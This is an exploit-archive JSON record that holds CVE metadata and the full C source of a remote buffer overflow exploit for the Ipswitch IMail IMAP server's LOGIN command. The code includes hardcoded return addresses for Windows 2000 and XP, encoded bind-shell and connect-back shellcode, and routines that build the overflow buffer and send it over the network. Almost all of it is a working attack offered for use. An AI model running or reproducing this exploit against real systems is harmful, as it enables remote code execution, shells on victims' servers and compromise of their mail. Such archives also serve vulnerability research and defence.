{"exploit":{"id":"EDB-3627","name":"Ipswitch IMail Server 8.20 - IMAPD Remote Buffer Overflow","description":"Ipswitch IMail Server 8.20 - IMAPD Remote Buffer Overflow","cves":["CVE-2005-1255"],"author":"Heretic2","published":"2007-04-01","platform":"windows","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3627","path":"exploits/windows/remote/3627.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3627.c","vulnerabilities":[{"id":"CVE-2005-1255","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in the IMAP server in IMail 8.12 and 8.13 in Ipswitch Collaboration Suite (ICS), and other versions before IMail Server 8.2 Hotfix 2, allow remote attackers to execute arbitrary code via a LOGIN command with (1) a long username argument or (2) a long username argument that begins with a special character.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-1255","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-1255"},"updatedAt":"2024-08-07T21:44:06.254Z","retrievedAt":"2026-11-26T23:03:21.584Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3627.png?v=2","url":"https://exploitbin.com/exploits/EDB-3627","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3627/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3627/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* Dreatica-FXP crew\n*\n* ----------------------------------------\n* Target         : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit\n* Site           : http://www.ipswitch.com\n* Found by       : iDEFENSE Security (http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=243)\n* ----------------------------------------\n* Exploit date   : 31.03.2007\n* Exploit writer : Heretic2 (heretic2x@gmail.com)\n* OS             : Windows 2000 SP4 and Windows XP ALL\n* Crew           : Dreatica-FXP\n* ----------------------------------------\n* Info: Well, this is the realization of the IMAIL IMAPd 'LOGIN' buffer overflow vulnerability.\n*   The version provided by kcope uses SEH overwrite method, which doesn't work on Windows XP SP2,\n*   so i have written the exploit that overwrites EIP and then execute the shellcode.\n*\n*   I have tested this exploit on the all versions of Imail from 7.13 to 8.20, versions < 7.13 are also vulnerable,\n*   but i don't have them to test the exploit, Windows 2000 SP4 and Windows XP SP0-SP2.\n*\n*   Here you need to select the OS and the IMAIL version, that is not good, but anyone with some brain can\n*   easily modify the code to get version of Imail from banner or obtain 'data segment' value without knowing\n*   the Imail version.\n*\n* ----------------------------------------\n* Thanks to:\n*       iDEFENSE Security           ( http://labs.idefense.com/\n*       The Metasploit project      ( http://metasploit.com                            )\n*       kcope                       ( <kingcope [at] gmx.net>                          )\n*       Dreatica-FXP crew           (                                                  )\n* ----------------------------------------\n* This was written for educational purpose only. Use it at your own risk. Author will be not be\n* responsible for any damage, caused by that code.\n*\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <winsock2.h>\n#pragma comment(lib,\"ws2_32\")\n\n\nvoid usage(char * s);\nvoid help(char * s);\nvoid logo();\nSOCKET do_connect (char *remotehost, int port);\nvoid prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport);\nvoid make_buffer(unsigned char * buf, int itarget, int sh, char * cbip, int cbport, int ifix);\nint send_buffer(SOCKET sa, char * buf, char * remotehost, int port);\nint validate_args(int port, int sh, int itarget, int fix);\n\n// ###################################################\n// # XGetopt.h  Version 1.2\n// ###################################################\nextern int optind, opterr;\nextern char *optarg;\n\nint getopt(int argc, char *argv[], char *optstring);\n// ##################################################\n\n\nstruct _target{\n\tconst char *t ;\n\tunsigned long ret ;\n} targets[] =\n{\t// jmp esp\n\t{\"Windows 2000 SP4 ENG           [ shell32.dll ]\",   0x7850d3bf },\n\t{\"Windows XP SP0 ENG             [  ntdll.dll  ]\",   0x77f439e3 },\n\t{\"Windows XP SP0 RUS             [  ntdll.dll  ]\",   0x77f5801c },\n\t{\"Windows XP SP1 ENG             [  ntdll.dll  ]\",   0x77fa59cc },\n\t{\"Windows XP SP1 RUS             [  ntdll.dll  ]\",   0x77fb59cc },\n\t{\"Windows XP SP2 ENG             [  ntdll.dll  ]\",   0x7C941eed },\n\t{\"Windows XP SP2 RUS             [  ntdll.dll  ]\",   0x7C941eed },\n\t{\"Windows XP SP2 RUS(no patches) [ shell32.dll ]\",   0x7C82385D },\n\t{NULL,                                               0x00000000 }\n\n};\n\n\nstruct _imail{\n\tconst char * name ;\n\tunsigned long fix;\n}imailfix[] =\n{\n\t// address to data segment in Mailbox\n\t{\"Ipswitch IMAIL Server IMAPD 7.04 - 8.05HF3\", 0x10034000},\n\t{\"Ipswitch IMAIL Server IMAPD 8.10 - 8.11   \", 0x1002f000},\n\t{\"Ipswitch IMAIL Server IMAPD 8.12 - 8.20   \", 0x10031000},\n\t{NULL,                                         0x00000000}\n\n\n};\n\n\nstruct _shellcode{\n\tconst char * name;\n\tchar * shellcode;\n} shellcodes[]={ // bad charachters: 0x00 0x03 0x0A 0x0C 0x22 0x5C      (and more)\n\t{\"Spawn bindshell on port 4444\",\n\t/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */\n\t\t\"\\x29\\xc9\\x83\\xe9\\xb0\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x63\"\n\t\t\"\\xb4\\x7d\\x58\\x83\\xeb\\xfc\\xe2\\xf4\\x9f\\xde\\x96\\x15\\x8b\\x4d\\x82\\xa7\"\n\t\t\"\\x9c\\xd4\\xf6\\x34\\x47\\x90\\xf6\\x1d\\x5f\\x3f\\x01\\x5d\\x1b\\xb5\\x92\\xd3\"\n\t\t\"\\x2c\\xac\\xf6\\x07\\x43\\xb5\\x96\\x11\\xe8\\x80\\xf6\\x59\\x8d\\x85\\xbd\\xc1\"\n\t\t\"\\xcf\\x30\\xbd\\x2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\xab\\xc9\\x4a\\x3f\\x75\"\n\t\t\"\\x9d\\xf6\\x51\\xcb\\xee\\xce\\x45\\xf3\\xc8\\x1f\\x15\\x2a\\x9d\\x07\\x6b\\xa7\"\n\t\t\"\\x16\\xf0\\x82\\x8e\\x38\\xe3\\x2f\\x09\\x32\\xe5\\x17\\x59\\x32\\xe5\\x28\\x09\"\n\t\t\"\\x9c\\x64\\x15\\xf5\\xba\\xb1\\xb3\\x0b\\x9c\\x62\\x17\\xa7\\x9c\\x83\\x82\\x88\"\n\t\t\"\\xe8\\xe3\\x81\\xdb\\xa7\\xd0\\x82\\x8e\\x31\\x4b\\xad\\x30\\x93\\x3e\\x79\\x07\"\n\t\t\"\\x30\\x4b\\xab\\xa7\\xb3\\xb4\\x7d\\x58\"\n\t },\n\t{\"ConnectBack shell (set the  CBIP and CBPort)\",\n\t\t/* thx to the one who wrote it, taken from kcope exploit */\n\t\t\"\\xEB\\x10\\x5B\\x4B\\x33\\xC9\\x66\\xB9\\x25\\x01\\x80\\x34\\x0B\\xC2\\xE2\\xFA\"\n\t\t\"\\xEB\\x05\\xE8\\xEB\\xFF\\xFF\\xFF\"\n\t\t\"\\x2B\\x39\\xC2\\xC2\\xC2\\x9D\\xA6\\x63\\xF2\\xC2\\xC2\\xC2\\x49\\x82\\xCE\\x49\"\n\t\t\"\\xB2\\xDE\\x6F\\x49\\xAA\\xCA\\x49\\x35\\xA8\\xC6\\x9B\\x2A\\x59\\xC2\\xC2\\xC2\"\n\t\t\"\\x20\\x3B\\xAA\\xF1\\xF0\\xC2\\xC2\\xAA\\xB5\\xB1\\xF0\\x9D\\x96\\x3D\\xD4\\x49\"\n\t\t\"\\x2A\\xA8\\xC6\\x9B\\x2A\\x40\\xC2\\xC2\\xC2\\x20\\x3B\\x43\\x2E\\x52\\xC3\\xC2\"\n\t\t\"\\xC2\\x96\\xAA\\xC3\\xC3\\xC2\\xC2\\x3D\\x94\\xD2\\x92\\x92\\x92\\x92\\x82\\x92\"\n\t\t\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x1A\\x20\\xB1\\x09\\x2F\\x3E\\xF9\\x1B\\xCB\\x37\\x6F\\x2E\\x3B\\x68\"\n\t\t\"\\xA2\\x25\\xBB\\x04\\xBB\"\n\t},\n\t{NULL , NULL }\n};\n\n// jump to our shellcode\nunsigned char jmpcode[] = \"\\x8B\\xc4\\x66\\x2D\\xEC\\x01\\x66\\x81\\xec\\xf0\\x02\\xFF\\xE0\";\n\n\nint main(int argc, char **argv)\n{\n\tchar * remotehost=NULL, * cbip=NULL;\n\tchar def_cbip[]=\"127.0.0.1\";\n\tchar temp1[100], temp2[100];\n\tint cbport, port, itarget=0, sh=0, fix=0;\n\tSOCKET s;\n\tchar c;\n\tlogo();\n\tWSADATA wsa;\n\tWSAStartup(MAKEWORD(2,0), &wsa);\n\n\tif(argc<2)\n\t{\n\t\tusage(argv[0]);\n\t\tWSACleanup();\n\t\treturn -1;\n\t}\n\t// set defaults\n\tcbport=4444;\n\tport=143;\n\t// ------------\n\n\twhile((c = getopt(argc, argv, \"h:p:s:t:I:P:f:\"))!= EOF)\n\t{\n\t\tswitch (c)\n\t\t{\n\t\t\tcase 'h':\n\t\t\t\tremotehost=optarg;\n\t\t\t\tbreak;\n\t\t\tcase 's':\n\t\t\t\tsscanf(optarg, \"%d\", &sh);\n\t\t\t\tsh--;\n\t\t\t\tbreak;\n\t\t\tcase 't':\n\t\t\t\tsscanf(optarg, \"%d\", &itarget);\n\t\t\t\titarget--;\n\t\t\t\tbreak;\n\t\t\tcase 'f':\n\t\t\t\tsscanf(optarg, \"%d\", &fix);\n\t\t\t\tfix--;\n\t\t\t\tbreak;\n\t\t\tcase 'p':\n\t\t\t\tsscanf(optarg, \"%d\", &port);\n\t\t\t\tbreak;\n\t\t\tcase 'P':\n\t\t\t\tsscanf(optarg, \"%d\", &cbport);\n\t\t\t\tbreak;\n\t\t\tcase 'I':\n\t\t\t\tcbip=optarg;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t            usage(argv[0]);\n\t\t\treturn -1;\n\t\t}\n\t}\n\tif(remotehost==NULL)\n\t{\n\t\tusage(argv[0]);\n\t\tWSACleanup();\n\t\treturn -1;\n\t}\n\tif((sh==1)&&(cbip==NULL)) cbip = def_cbip ;\n\tif(validate_args(port, sh, itarget, fix)==-1) return -1;\n\tmemset(temp1,0,sizeof(temp1));\n\tmemset(temp2,0,sizeof(temp2));\n\tmemset(temp1, '\\x20' , 58 - strlen(remotehost) -1);\n\tprintf(\" #  Host    : %s%s# \\n\", remotehost, temp1);\n\tsprintf(temp2, \"%d\", port);\n\tmemset(temp1,0,sizeof(temp1));\n\tmemset(temp1, '\\x20' , 58 - strlen(temp2) -1);\n\tprintf(\" #  Port    : %s%s# \\n\", temp2, temp1);\n\tmemset(temp1,0,sizeof(temp1));\n\tmemset(temp2,0,sizeof(temp2));\n\tsprintf(temp2, \"%s\", shellcodes[sh].name );\n\tmemset(temp1, '\\x20' , 58 - strlen(temp2) -1);\n\tprintf(\" #  Shellcde: %s%s# \\n\", temp2, temp1);\n\tmemset(temp1,0,sizeof(temp1));\n\tmemset(temp1, '\\x20' , 58 - strlen(targets[itarget].t) -1);\n\tprintf(\" #  Target  : %s%s# \\n\", targets[itarget].t, temp1);\n\tif(sh==1)\n\t{\n\t\tmemset(temp1,0,sizeof(temp1));\n\t\tmemset(temp1, '\\x20' , 58 - strlen(cbip) -1);\n\t\tprintf(\" #  CB IP   : %s%s# \\n\", cbip, temp1);\n\t\tsprintf(temp2, \"%d\", cbport);\n\t\tmemset(temp1,0,sizeof(temp1));\n\t\tmemset(temp1, '\\x20' , 58 - strlen(temp2) -1);\n\t\tprintf(\" #  CB port : %s%s# \\n\", temp2, temp1);\n\t}\n\tprintf(\" # ------------------------------------------------------------------- # \\n\");\n\tprintf(\"[+] Checking if server is online... \");\n\tfflush(stdout);\n\ts=do_connect(remotehost, port);\n\tif(s==-1)\n\t{\n\t\tfprintf(stdout, \"failed\\n\");\n\t\treturn 0;\n\t}\n\tclosesocket(s);\n\tprintf(\"SUCCESS!\\n\");\n\tchar buf[1000];\n\tmemset(buf,0,sizeof(buf));\n\tprintf(\"[+] Constructing attacking buffer... \");\n\tfflush(stdout);\n\tmake_buffer((unsigned char *)buf,itarget,sh,cbip,cbport,fix);\n\tprintf(\"done\\n\");\n\tSOCKET sa;\n\tsa=do_connect(remotehost, port);\n\tif(sa==-1)\n\t{\n\t\tfprintf(stdout, \"[-] Connection failed to server %s\\n\", remotehost);\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Sending %d bytes of buffer to server\\n\", strlen(buf));\n\tif(send_buffer(sa, buf,remotehost,port)==0)\n\t{\n\t\tfprintf(stdout, \"[-] Cannot send the buffer to server %s\\n\", remotehost);\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Buffer sent\\n\");\n\tclosesocket(sa);\n\tif(sh==0)\n\t{\n\t\tprintf(\"[+] Connect to %s:%d\\n\", remotehost, 7915);\n\t}else\n\t{\n\t\tprintf(\"[+] The shell should arrive to %s:%d\", cbip, cbport);\n\t}\n\tWSACleanup();\n\treturn 0;\n}\n\n\n\nint validate_args(int port, int sh, int itarget, int fix)\n{\n\tint i=0,x=0;\n\tfor(i=0;shellcodes[i].name;i++)if(i==sh)x=1;\n    if(x==0)\n\t{\n\t\tprintf(\"[-] The shellcode number is invalid\\n\");\n\t\treturn -1;\n\t}\n\tx=0;\n\tfor(i=0;targets[i].t;i++)if(i==itarget)x=1;\n\tif(x==0)\n\t{\n\t\tprintf(\"[-] The target is invalid\\n\");\n\t\treturn -1;\n\t}\n\tx=0;\n\tfor(i=0;imailfix[i].name;i++)if(i==fix)x=1;\n\tif(x==0)\n\t{\n\t\tprintf(\"[-] The imail version is invalid\\n\");\n\t\treturn -1;\n\t}\n\tif(port<=0)\n\t{\n\t\tprintf(\"[-] The port is invalid\\n\");\n\t\treturn -1;\n\t}\n\treturn 1;\n}\n\n\nSOCKET do_connect (char *remotehost, int port)\n{\n   static struct hostent *host;\n   static struct sockaddr_in addr;\n   static int done=0;\n   SOCKET s;\n   if (done != 1)\n   {\n       host = gethostbyname(remotehost);\n       if (!host)\n       {\n           perror(\"[-] gethostbyname() failed\");\n           return -1;\n       }\n       addr.sin_addr = *(struct in_addr*)host->h_addr;\n   }\n\n   s = socket(PF_INET, SOCK_STREAM, 0);\n   if (s == -1)\n   {\n       closesocket(s);\n       perror(\"socket() failed\");\n       return -1;\n   }\n\n   addr.sin_port = htons(port);\n   addr.sin_family = AF_INET;\n\n   if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)\n   {\n       closesocket(s);\n\n       return -1;\n   }\n\n   done=1;\n   return s;\n}\n\nvoid prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport)\n{\n\tmemcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode));\n\tif(sh==1)\n\t{\n\t\tstatic struct hostent *host = gethostbyname(cbip);\n\t\tstatic struct sockaddr_in addr;\n\t\taddr.sin_addr = *(struct in_addr*)host->h_addr;\n\t\tfsh[111] = (addr.sin_addr.S_un.S_un_b.s_b1) ^ 0xc2;\n\t\tfsh[112] = (addr.sin_addr.S_un.S_un_b.s_b2) ^ 0xc2;\n\t\tfsh[113] = (addr.sin_addr.S_un.S_un_b.s_b3) ^ 0xc2;\n\t\tfsh[114] = (addr.sin_addr.S_un.S_un_b.s_b4) ^ 0xc2;\n\n\t\tfsh[118] = ((cbport >> 8) & 0xff) ^ 0xc2;\n\t\tfsh[119] = ((cbport     ) & 0xff) ^ 0xc2;\n\t}\n}\n\nvoid make_buffer(unsigned char * buf, int itarget, int sh, char * cbip, int cbport, int ifix)\n{\n\t// prepare shellcode\n\tunsigned char * fsh;\n\tfsh = (unsigned char *) malloc ((strlen(shellcodes[sh].shellcode)+1) );\n\tmemset(fsh, 0, (strlen(shellcodes[sh].shellcode)+1));\n\tprepare_shellcode(fsh, sh, cbip, cbport);\n\t// -----------------\n\n\t\t// init buffer\n\tmemset(buf,0,sizeof(buf));\n\tunsigned char * cp = buf;\n\t*cp++ = '@';\n\t*cp++ = '\\x90';\n\t*cp++ = '\\x90';\n\t*cp++ = '\\x90';\n\t*cp++ = '\\x90';\n\n\t\t// write shellcode\n\tmemcpy(cp, fsh, strlen((char *)fsh)  );\n\tcp+=strlen((char *)cp);\n\tmemset(cp, 'A', 488-strlen((char *)fsh));\n\tcp+=strlen((char *)cp);\n\t\t// set EIP\n\t*cp++ = (unsigned char)((targets[itarget].ret      ) & 0xff);\n\t*cp++ = (unsigned char)((targets[itarget].ret >>  8) & 0xff);\n\t*cp++ = (unsigned char)((targets[itarget].ret >> 16) & 0xff);\n\t*cp++ = (unsigned char)((targets[itarget].ret >> 24) & 0xff);\n\n\t*cp++ = '\\x41';\n\t*cp++ = '\\x41';\n\t*cp++ = '\\x41';\n\t*cp++ = '\\xeb';\n\t*cp++ = '\\x03';\n\t*cp++ = (unsigned char)((imailfix[ifix].fix >>  8) & 0xff);\n\t*cp++ = (unsigned char)((imailfix[ifix].fix >> 16) & 0xff);\n\t*cp++ = (unsigned char)((imailfix[ifix].fix >> 24) & 0xff);\n\n\t\t// add jump back\n\tmemcpy(cp, jmpcode, strlen((char *)jmpcode));\n\t// -----------\n}\n\nint send_buffer(SOCKET s, char * buf, char * remotehost, int port)\n{\n\tchar bufmax[1024];\n\trecv(s, bufmax, sizeof(bufmax),0);\n\tchar sendbuf[1000];\n\tmemset(sendbuf, 0, sizeof(sendbuf));\n\tstrcat(sendbuf, \"a001 LOGIN \\\"\");\n\tstrcat(sendbuf, buf);\n\tstrcat(sendbuf, \"\\\" password\\r\\n\");\n\tint sentbytes=send(s, sendbuf, (int)strlen(sendbuf),0);\n\tif(sentbytes<(int)strlen(sendbuf)) return 0;\n\treturn 1;\n}\n\nvoid usage(char * s)\n{\n\tprintf(\" Usage: %s -h <host> [-p <port>] [-s <shellcode>] [-t <target>] [-f <imail>] [-I <cb IP>] [-P <cb port>]\\n\\n\", s);\n\tprintf(\" ----------------------------------------------------------------------- \\n\");\n\tprintf(\" Arguments:\\n\");\n\tprintf(\"    -h host to connect                      \\n\");\n\tprintf(\"    -p port             (default: 143      )\\n\");\n\tprintf(\"    -s shellcode        (default: 1        )\\n\");\n\tprintf(\"    -t target           (default: 1        )\\n\");\n\tprintf(\"    -f Imail version    (default: 1        )\\n\");\n\tprintf(\"    -I connect back IP  (default: 127.0.0.1)\\n\");\n\tprintf(\"    -P connect back port(default: 4444     )\\n\");\n\tprintf(\"\\n\");\n\tprintf(\"    Shellcodes:\\n\");\n\tfor(int i=0; shellcodes[i].name!=0;i++)\n\t{\n\t\tprintf(\"         %d. %s\\n\",i+1,shellcodes[i].name);\n\t}\n\tprintf(\"\\n\");\n\tprintf(\"    Targets:\\n\\n\");\n\tint j;\n\tfor(j=0; targets[j].t!=0;j++)\n\t{\n\t\tprintf(\"         %d. %s\\n\",j+1,targets[j].t);\n\t}\n\tprintf(\"\\n\");\n\tprintf(\"    Imail version:\\n\\n\");\n\tfor(j=0; imailfix[j].name!=0;j++)\n\t{\n\t\tprintf(\"         %d. %s\\n\",j+1,imailfix[j].name);\n\t}\n\tprintf(\"\\n\");\n\tprintf(\" ----------------------------------------------------------------------- \\n\");\n}\n\n\n\n// ###################################################\n// # XGetopt.h  Version 1.2\n// ###################################################\nchar\t*optarg;\t\t// global argument pointer\nint\t\toptind = 0; \t// global argv index\n\nint getopt(int argc, char *argv[], char *optstring)\n{\n\tstatic char *next = NULL;\n\tif (optind == 0)\n\t\tnext = NULL;\n\n\toptarg = NULL;\n\n\tif (next == NULL || *next == '\\0')\n\t{\n\t\tif (optind == 0)\n\t\t\toptind++;\n\n\t\tif (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\\0')\n\t\t{\n\t\t\toptarg = NULL;\n\t\t\tif (optind < argc)\n\t\t\t\toptarg = argv[optind];\n\t\t\treturn EOF;\n\t\t}\n\n\t\tif (strcmp(argv[optind], \"--\") == 0)\n\t\t{\n\t\t\toptind++;\n\t\t\toptarg = NULL;\n\t\t\tif (optind < argc)\n\t\t\t\toptarg = argv[optind];\n\t\t\treturn EOF;\n\t\t}\n\n\t\tnext = argv[optind];\n\t\tnext++;\t\t// skip past -\n\t\toptind++;\n\t}\n\n\tchar c = *next++;\n\tchar *cp = strchr(optstring, c);\n\n\tif (cp == NULL || c == ':')\n\t\treturn '?';\n\n\tcp++;\n\tif (*cp == ':')\n\t{\n\t\tif (*next != '\\0')\n\t\t{\n\t\t\toptarg = next;\n\t\t\tnext = NULL;\n\t\t}\n\t\telse if (optind < argc)\n\t\t{\n\t\t\toptarg = argv[optind];\n\t\t\toptind++;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn '?';\n\t\t}\n\t}\n\n\treturn c;\n}\n// ###################################################\n\n\nvoid logo()\n{\n\tprintf(\" ####################################################################### \\n\");\n\tprintf(\" #     ____                 __  _                  ______  __    _____ #\\n\");\n\tprintf(\" #    / __ \\\\________  _____/ /_(_)_________       / __/\\\\ \\\\/ /   / _  / #\\n\");\n\tprintf(\" #   / / / / ___/ _ \\\\/ __ / __/ / ___/ __ / ___  / /    \\\\  /   / // /  #\\n\");\n\tprintf(\" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\\\  / ___/   #\\n\");\n\tprintf(\" # /_____/_/  \\\\___/ \\\\_,_/\\\\__/_/\\\\___/\\\\__,_/     /_/     /_/\\\\_\\\\/_/       #\\n\");\n\tprintf(\" #                                 crew                                #\\n\");\n\tprintf(\" ####################################################################### \\n\");\n\tprintf(\" #  Exploit : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit          # \\n\");\n\tprintf(\" #  Version : 1.0                                                      # \\n\");\n\tprintf(\" #  System  : Windows 2000 SP4, Windows XP ALL                         # \\n\");\n\tprintf(\" #  Date    : 31.03.2007                                               # \\n\");\n\tprintf(\" # ------------------------------------------------------------------- # \\n\");\n}\n\n// milw0rm.com [2007-04-01]","sha256":"db570708b58fd0c01f0b0bb9d168fdc439f9e1df8cccc5caddd93f8812a79b57","bytes":17386,"fetchedAt":"2026-11-27T09:07:34.161Z","encoding":"utf-8 (display only; download retains original bytes)"}